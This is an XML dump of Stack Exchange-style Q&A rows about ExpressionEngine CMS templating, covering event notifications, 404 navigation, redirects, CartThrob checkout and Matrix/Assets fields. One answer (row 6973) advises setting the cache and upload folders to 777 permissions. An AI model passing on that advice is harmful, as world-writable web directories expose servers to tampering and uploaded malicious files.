  <row Id="6951" PostTypeId="1" AcceptedAnswerId="6962" CreationDate="2013-03-04T07:18:48.657" Score="3" ViewCount="124" Body="&lt;p&gt;I am trying to achieve the following, according to a clients requirements:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Include Events happening around the year, each member should be notified automatically of the event before hand according to the time we set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to setup a calendar in which admin can add events and allow members to register for specific events and be notified automatically x number of days before the events ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can PostMaster Addon along with Low Events be used for such a setup ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to achieve the above with Native EE functionality.&lt;/p&gt;&#xA;" OwnerUserId="406" LastActivityDate="2014-09-30T13:08:16.673" Title="Automatic Events Notification with Calendar?" Tags="|email|notification|calendar|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6952" PostTypeId="1" CreationDate="2013-03-04T08:18:43.307" Score="2" ViewCount="73" Body="&lt;p&gt;I have dynamic navigation based on the current page in my header snippet. I have it setup like this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {if segment_1 == &quot;&quot; OR &quot;{404}&quot; == &quot;true&quot;}&#xA;        {exp:structure:nav start_from=&quot;/wat-doen-wij&quot; max_depth=&quot;1&quot; current_class=&quot;active&quot;}&#xA;    {/if}&#xA;&#xA;    {if segment_1 == &quot;wat-doen-wij&quot; AND &quot;{404}&quot; != &quot;true&quot;}&#xA;        &amp;lt;div class=&quot;subnav_wrapper&quot;&amp;gt;&#xA;            {exp:structure:nav start_from=&quot;/wat-doen-wij&quot; max_depth=&quot;1&quot; current_class=&quot;active&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if segment_1 != &quot;&quot; AND segment_1 != &quot;wat-doen-wij&quot; AND segment_1 != &quot;zoekresultaten&quot; AND segment_1 != &quot;waarbij-helpen-wij&quot; AND &quot;{404}&quot; != &quot;true&quot;}&#xA;        &amp;lt;div class=&quot;subnav_wrapper&quot;&amp;gt;&#xA;            {exp:structure:nav start_from=&quot;{freebie_1}&quot; max_depth=&quot;1&quot; current_class=&quot;active&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On my 404 template I use the following statement to set my 404 variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{preload_replace:404=&quot;true&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, this breaks all my other pages. How can I fix this? &#xA;I need to know which template I am currently on. Can I do it based on header infomation? &#xA;I can't use {segment} because segment_1 could be anything. &lt;/p&gt;&#xA;" OwnerUserId="1099" LastActivityDate="2013-04-03T17:04:29.733" Title="Navigation on 404 page" Tags="|navigation|404|dynamic|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6953" PostTypeId="2" ParentId="6952" CreationDate="2013-03-04T08:56:02.117" Score="0" Body="&lt;p&gt;Not really solving your problems here but I think you need to be aware that you've got 3 nav tags inside advanced conditionals, just for your 404 'problem'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing it this way, all the nav tags are going to get parsed, always. This is adding a bunch of overhead (queries, template parsing etc) to every single page load on your site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are lots of articles about this if you google 'ExpressionEnging parse order' but &lt;a href=&quot;http://www.derekallard.com/blog/post/simple-vs-complex-conditionals-in-expressionengine-templates&quot; rel=&quot;nofollow&quot;&gt;here's one to get you started&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;IMO a 404 doesn't need a subnav, it just needs to obviously tell the user they are on a broken page. Main navigation, yes. Sub navigation of any section they &lt;em&gt;might&lt;/em&gt; be on, not really.&lt;/p&gt;&#xA;" OwnerUserId="549" LastActivityDate="2013-03-04T08:56:02.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6954" PostTypeId="1" AcceptedAnswerId="6957" CreationDate="2013-03-04T10:21:14.557" Score="1" ViewCount="244" Body="&lt;p&gt;I am asking myself if there is a way of displaying a Channel Field based on date. I have a dedicated channel for the site's indexpage and randomly the client wants to display announcements eg for sweepstakes and the such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I could put up a Field and a P&amp;amp;T Switch but I would like to have some kind of date logic so that the announcement disappears at a given time in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I really create a brandnew Channel just for announcements and pull those in the indexpage template? I can see the advantage of having sort of an Announcement archive then but it also feels a bit clumsy and overkill.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to best do this logically, technically and best suited for client use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks and Cheers!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Marc&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2013-10-26T11:07:47.117" Title="Limit display of Channel Field based on date" Tags="|channel|fields|date|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6955" PostTypeId="1" CreationDate="2013-03-04T12:25:39.687" Score="0" ViewCount="214" Body="&lt;p&gt;Does anyone know if it's possible to allow a user account to create an account after they have completed their order and then assign that order to their newly created account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="466" LastActivityDate="2013-04-03T14:59:07.537" Title="CartThrob Checkout - Create Account after order completes" Tags="|cartthrob|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6956" PostTypeId="2" ParentId="6955" CreationDate="2013-03-04T13:10:26.037" Score="0" Body="&lt;p&gt;Yes it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On your &lt;code&gt;{exp:cartthrob:checkout_form}&lt;/code&gt; just add &lt;code&gt;create_user=&quot;yes&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you map the appropriate fields in the Cartthrob backend.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about members in Cartthrob on their docs. &lt;a href=&quot;http://cartthrob.com/docs/backend/members/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/backend/members/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-03-04T13:10:26.037" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6957" PostTypeId="2" ParentId="6954" CreationDate="2013-03-04T13:27:19.267" Score="2" Body="&lt;p&gt;You could create an announcement field along with 2 date fields (start and end dates).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if current_time &amp;gt; announcement_start_time &amp;amp;&amp;amp; current_time &amp;lt; announcement_end_time}&#xA;  {announcement}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-03-04T13:27:19.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6958" PostTypeId="1" AcceptedAnswerId="7129" CreationDate="2013-03-04T13:50:58.953" Score="0" ViewCount="129" Body="&lt;p&gt;I'm using MX Title Control to concatenate two entry fields into the entry title. This is working correctly for the URL Title value as well. However, my Structure Listing URL looks like &lt;code&gt;auto_replace-97&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone gotten MX Title Control working with Structure URLs?&lt;/p&gt;&#xA;" OwnerUserId="293" LastEditorUserId="197" LastEditDate="2013-11-19T18:43:33.743" LastActivityDate="2013-11-19T18:43:33.743" Title="MX Title Control + Structure" Tags="|structure|url-title|title|mx-title-control|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6959" PostTypeId="1" AcceptedAnswerId="6960" CreationDate="2013-03-04T14:02:54.090" Score="2" ViewCount="462" Body="&lt;p&gt;Let's say we have a url: &lt;a href=&quot;http://example.com/section/my-url-title&quot; rel=&quot;nofollow&quot;&gt;http://example.com/section/my-url-title&lt;/a&gt; we want to enure that the {url_title} is not used in the URI. We have changed all template tags to point to the {entry_id} instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue now is we have 600+ url's listed with google. We therefore want a 301 re-direct that checks for a {url_title} and then sends a 301 header with the new URI schema using the {entry_id}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example of what we want to achieve, let imagine the URL is &lt;a href=&quot;http://example.com/section/my-url-title&quot; rel=&quot;nofollow&quot;&gt;http://example.com/section/my-url-title&lt;/a&gt; this then re-directs to &lt;a href=&quot;http://example.com/section/369&quot; rel=&quot;nofollow&quot;&gt;http://example.com/section/369&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We set up as basic template which works as you might expect:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;   {if '{segment_2}' == '{url_title}'}&#xA;      I should re-direct {url_title} | {entry_id} -- &amp;lt;? echo({entry_id}); ?&amp;gt;&#xA;   {if:else}&#xA;      I should NOT re-direct {url_title} | {entry_id} -- &amp;lt;? echo({entry_id}); ?&amp;gt;&#xA;   {/if} &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And as you might expect a request to &lt;a href=&quot;http://example.com/section/my-url-title&quot; rel=&quot;nofollow&quot;&gt;http://example.com/section/my-url-title&lt;/a&gt; outputs this into the template:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should re-direct my-url-title  | 369 -- 369&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we then test the url using the entry ID URI &lt;a href=&quot;http://example.com/section/369&quot; rel=&quot;nofollow&quot;&gt;http://example.com/section/369&lt;/a&gt; we get:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should NOT re-direct my-url-title  | 369 -- 369&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...so far so good...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We then added the following php within the true part of the if statement:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;    Header( &quot;HTTP/1.1 301 Moved Permanently&quot; );&#xA;    Header( &quot;Location: /{segment_1}/{entry_id}&quot; );&#xA;    die();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the template re-directs BUT we get caught in a re-direct loop. This is the same for either URLS:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/section/my-url-title&quot; rel=&quot;nofollow&quot;&gt;http://example.com/section/my-url-title&lt;/a&gt;&#xA;&lt;a href=&quot;http://example.com/section/369&quot; rel=&quot;nofollow&quot;&gt;http://example.com/section/369&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both get in a re-direct loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have also tried this plugin: &lt;a href=&quot;http://blog.builtbyprime.com/php/301-redirect-for-expression-engine-2&quot; rel=&quot;nofollow&quot;&gt;http://blog.builtbyprime.com/php/301-redirect-for-expression-engine-2&lt;/a&gt; which also seems to get stuck in a loop and disregard the if statement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help or advice greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s I'd rather avoid the task of remapping every url using googles webmaster tools.&lt;/p&gt;&#xA;" OwnerUserId="886" LastActivityDate="2013-03-05T22:04:35.390" Title="Redirect 301 if url title present" Tags="|ee2|plugin|redirects|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6960" PostTypeId="2" ParentId="6959" CreationDate="2013-03-04T14:43:51.933" Score="2" Body="&lt;p&gt;You can't use {if}...{if:else}...{/if} (always executed, output thrown away after conditional check) but have to use switchee or something similiar.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;    {case value=&quot;{url_title}&quot;}&#xA;        I should re-direct {url_title} | {entry_id} -- &amp;lt;? echo({entry_id}); ?&amp;gt;&#xA;    {/case}&#xA;    {case default=&quot;Yes&quot;}&#xA;        I should NOT re-direct {url_title} | {entry_id} -- &amp;lt;? echo({entry_id}); ?&amp;gt;&#xA;    {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/croxton/switchee/tree/develop&quot; rel=&quot;nofollow&quot;&gt;switchee&lt;/a&gt; docs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With EEs if/else conditionals, each condition is parsed before  being&#xA;  removed at the end  of the parsing process. This means if you wrap&#xA;  if/else tags around lots of other tags then your template will be&#xA;  running many unnecessary queries and functions.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As Switchee is a tag we can use parse=“inward” to ensure that&#xA;  unmatched conditions are not parsed before being removed from the&#xA;  template.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="428" LastEditorUserId="428" LastEditDate="2013-03-04T14:51:04.937" LastActivityDate="2013-03-04T14:51:04.937" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6961" PostTypeId="1" CreationDate="2013-03-04T16:36:36.787" Score="1" ViewCount="52" Body="&lt;p&gt;It seems that some newly created snippets using SnippetSync (version controlled and uploaded via GIT/Beanstalk) begin parse only after I log into the control panel. After a day or so these snippets will appear as {snippet:snippetgroup_snippetname} once again and logging into the CP will get the snippets to parse once again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not affect all snippets, but only recently created ones. Perhaps post upgrade to 2.5.5? Not confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing a setting? Has anyone else seen this?&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2013-03-04T16:36:36.787" Title="Snippets (snippetsync) only parse when logged in" Tags="|snippets|snippet-sync|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6962" PostTypeId="2" ParentId="6951" CreationDate="2013-03-04T16:41:17.017" Score="1" Body="&lt;p&gt;It is not possible to achieve this with Native EE functionality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the Postmaster addon you can send &lt;a href=&quot;https://objectivehtml.com/postmaster/getting-started&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;&quot;Post-dated&quot;&lt;/strong&gt;&lt;/a&gt; emails (see step 4). It also offers a &lt;a href=&quot;https://objectivehtml.com/postmaster/api/hooks&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;comprehensive API&lt;/strong&gt;&lt;/a&gt; so you can build what you need if the default functionality won't do the trick.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-04T16:41:17.017" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6963" PostTypeId="2" ParentId="6952" CreationDate="2013-03-04T16:52:32.633" Score="1" Body="&lt;p&gt;&lt;code&gt;{preload_replace:404=&quot;true&quot;}&lt;/code&gt; will never work as you are using it because it's not passed to the header. This variable is only available for use in the same template... &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/preload_replacement.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;docs for Preload Text Replacements are here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Preload Replacements act as a straight string replacement &lt;strong&gt;&lt;em&gt;for use&#xA;  later in the same template.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Instead use this in your 404 and header templates:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IN 404 TEMPLATE:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/header&quot; 404=&quot;true&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;IN HEADER TEMPLATE:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;&quot; OR &quot;{embed:404}&quot; == &quot;true&quot;}&#xA;    {exp:structure:nav start_from=&quot;/wat-doen-wij&quot; max_depth=&quot;1&quot; current_class=&quot;active&quot;}&#xA;{/if}&#xA;&#xA;{if segment_1 == &quot;wat-doen-wij&quot; AND &quot;{embed:404}&quot; != &quot;true&quot;}&#xA;    &amp;lt;div class=&quot;subnav_wrapper&quot;&amp;gt;&#xA;        {exp:structure:nav start_from=&quot;/wat-doen-wij&quot; max_depth=&quot;1&quot; current_class=&quot;active&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&#xA;{if segment_1 != &quot;&quot; AND segment_1 != &quot;wat-doen-wij&quot; AND segment_1 != &quot;zoekresultaten&quot; AND segment_1 != &quot;waarbij-helpen-wij&quot; AND &quot;{embed:404}&quot; != &quot;true&quot;}&#xA;    &amp;lt;div class=&quot;subnav_wrapper&quot;&amp;gt;&#xA;        {exp:structure:nav start_from=&quot;{freebie_1}&quot; max_depth=&quot;1&quot; current_class=&quot;active&quot;}&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-04T16:52:32.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6964" PostTypeId="2" ParentId="6954" CreationDate="2013-03-04T17:00:32.997" Score="2" Body="&lt;p&gt;Two things to look at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have your client set an &quot;Expiration Date&quot; on the entries. If show_expired=&quot;&quot; is not set to &quot;yes&quot; on the entries tag, then these entries will automatically stop showing on the website at the set time/date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#start-on&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;start_on=&quot;&quot; parameter&lt;/strong&gt;&lt;/a&gt; to set a start date for the entries tag. Only entries from that date forward to present will show. To set a dynamic start date, you'll need to use PHP like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    $start_time = $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;decode_date('%Y-%m-%d %H:%i', $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now - 86400);&#xA;?&amp;gt;&#xA;{exp:channel:entries channel=&quot;{my_weblog}&quot; limit=&quot;5&quot; sort=&quot;desc&quot; start_on=&quot;&amp;lt;?php echo $start_time; ?&amp;gt;&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-03-04T17:55:32.230" LastActivityDate="2013-03-04T17:55:32.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6965" PostTypeId="2" ParentId="6935" CreationDate="2013-03-04T17:12:02.077" Score="0" Body="&lt;p&gt;Ive solved it, so thought I'd share in case anyone else is as stupid as Ive been (doubtful, but possible).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using simple overlay, tabs and accordions from jQuery tools, though others are all similar, and Matrix fields to create the accordions or tabbed content. The desired effect was to click on an image in a row and launch a large overlay of just that image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;In the page&lt;/strong&gt; - this is just the section for holding the image, if it's there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{panel_content}&#xA;        {if panel_image}&#xA;              &#xA;                 {exp:ed_imageresizer image=&quot;{panel_image}&quot; maxWidth=&quot;300&quot; maxHeight=&quot;230&quot; forceWidth=&quot;yes&quot; forceHeight=&quot;yes&quot; title=&quot;#{row_id}&quot; cropratio=&quot;130:100&quot; alt=&quot;{title}&quot;}&#xA;        {/if}&#xA;{/panel_content}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;And in the overlay:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{panel_content}    &#xA;    &amp;lt;div class=&quot;simple_overlay&quot; id=&quot;link{row_id}&quot;&amp;gt;&#xA;     {exp:ed_imageresizer image=&quot;{panel_image}&quot; maxWidth=&quot;600&quot; maxHeight=&quot;500&quot; forceWidth=&quot;yes&quot; forceHeight=&quot;yes&quot; title=&quot;#{row_id}&quot; cropratio=&quot;130:100&quot; alt=&quot;{panel_title}&quot;}&#xA;&#xA;    &amp;lt;div id=&quot;{row_id}&quot; class=&quot;panel-img-caption&quot;&amp;gt;&#xA;       {if panel_title}{panel_title}{/if}&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&amp;lt;!--/.simple_overlay--&amp;gt;    &#xA;{/panel_content}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The js to trigger the instance is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$(function () {&#xA;   $(&quot;a[rel]&quot;).overlay({mask: '#000'});&lt;/p&gt;&#xA;&#xA;&lt;p&gt;});&lt;/p&gt;&#xA;" OwnerUserId="1094" LastActivityDate="2013-03-04T17:12:02.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6966" PostTypeId="1" CreationDate="2013-03-04T17:15:46.707" Score="2" ViewCount="308" Body="&lt;p&gt;am trying to set up a kind of project management type site and am using matrix and assets. The idea being that over the course of the project multiple galleries could be uploaded, so in  the custom field have got Matrix set up with a date column and an asset column, have entered in one sample gallery, but it's only outputting 1 image - the images are there in the entry and in assets, but am stuck how to get it to output all of the images, my code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{images}&#xA;    {date format=&quot;%d %F %Y&quot;} - {images}&#xA;{/images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas what I've done wrong&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers Jonny&lt;/p&gt;&#xA;" OwnerUserId="1102" LastEditorUserId="28" LastEditDate="2013-03-04T17:21:18.790" LastActivityDate="2013-03-04T17:23:50.020" Title="matrix assets not showing all images" Tags="|assets|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6967" PostTypeId="2" ParentId="6966" CreationDate="2013-03-04T17:21:32.737" Score="1" Body="&lt;p&gt;Jonathan,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is {images}?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we can back up and you can add a bit more context to your post, that would help.  Version numbers for Assets,Matrix, and EE would be a great start.  Also, a screenshot of your Matrix field would be great!   Essentially you need something like this, though:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;your_channel&quot;}&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {your_matrix_field}&#xA;            {your_assets_column}&#xA;                        {filename}&amp;lt;br /&amp;gt;&#xA;           {/your_assets_column}&#xA;    {/your_matrix_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-04T17:21:32.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6968" PostTypeId="2" ParentId="6966" CreationDate="2013-03-04T17:23:50.020" Score="0" Body="&lt;p&gt;Sounds like your tag names aren't matching your settings correctly.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{images}&#xA;    {date format=&quot;%d %F %Y&quot;} - {images}&#xA;{/images}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In your example, the first {images} should be the field name and the second {images} should be your Matrix column name. Is {images} the name of your Matrix column or is it something else?&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-04T17:23:50.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6969" PostTypeId="1" AcceptedAnswerId="7107" CreationDate="2013-03-04T17:28:26.690" Score="1" ViewCount="127" Body="&lt;p&gt;I've been trying to figure out how to set three specific CP settings via my config file and can't find a reference for the necessary variables. Maybe somebody can point me in the right direction. I'm trying to find config variables for the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Apply rank denial to user-submitted links&lt;/strong&gt; (CP &gt; Admin &gt; General&#xA;configuration) &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Deny Access if No IP Address is Present&lt;/strong&gt; (CP &gt; Admin &gt; Security &amp;amp; Privacy &gt; Throttling Prefs)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Require Member Account Activation&lt;/strong&gt; (CP &gt; Members &gt; Preferences)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With the last one I already know that the variable is &lt;code&gt;$config['req_mbr_activation']&lt;/code&gt; but I don't know what the various acceptable values are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2013-03-07T18:32:13.230" Title="Seeking three specific config variables" Tags="|config|config-overrides|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6970" PostTypeId="2" ParentId="6969" CreationDate="2013-03-04T17:44:35.130" Score="1" Body="&lt;p&gt;Have you seen &lt;a href=&quot;http://devot-ee.com/ee-config-vars&quot; rel=&quot;nofollow&quot;&gt;Devot-ee's list of config parameters?&lt;/a&gt; and the archived &lt;a href=&quot;http://web.archive.org/web/20111231063457/http://expressionengine.com/wiki/EE_2_Config_Overrides&quot; rel=&quot;nofollow&quot;&gt;wiki page&lt;/a&gt;?  I don't see one for rank denial there.  But for the IP one there are a few, including:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; [require_ip_for_login] =&amp;gt; y&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-04T17:44:35.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6971" PostTypeId="1" CreationDate="2013-03-04T17:48:53.483" Score="0" ViewCount="273" Body="&lt;p&gt;We seem to be having an issue with P&amp;amp;T Assets 2.0.5 when uploading a file to a freshly created sub-folder. If I create a sub-folder and try uploading a file into it, I receive the following javascript error&quot;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;There was an error uploading your file: Assets could not complete the requested operation.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if we create a sub-folder, navigate to a different part of the control panel and then navigate back to Assets, we can upload to it successfully.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on why this would be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope someone can help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&#xA;Gary&lt;/p&gt;&#xA;" OwnerUserId="952" LastActivityDate="2013-03-04T18:19:28.753" Title="Assets error when uploading to new directory" Tags="|assets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6972" PostTypeId="2" ParentId="6944" CreationDate="2013-03-04T17:53:43.510" Score="1" Body="&lt;p&gt;The fix for this was twofold:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Needed to add register_member=&quot;yes&quot; to the Safecracker Registration tag&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;{url_title} wasn't being parsed as coded. Changing the tag to {segment_3} got the return path working correctly. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-03-04T17:53:43.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6973" PostTypeId="2" ParentId="6971" CreationDate="2013-03-04T18:19:28.753" Score="1" Body="&lt;p&gt;GazCrane -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a few things to check here:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Permissions on /system/expressionengine/cache and its subfolders need to be 777 permissions.&lt;/li&gt;&#xA;&lt;li&gt;Permissions and owners on your image folders and subfolders need to also be 777 with the write ownership for uploading.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also, are you creating these folders via Assets? Or via the filesystem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, hat version of EE?  And where, exactly, are you seeing this?  Via the publish page and an Assets custom field? Via the Assets module page? That info would help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if fixing up permissions helps!&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-03-04T18:19:28.753" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
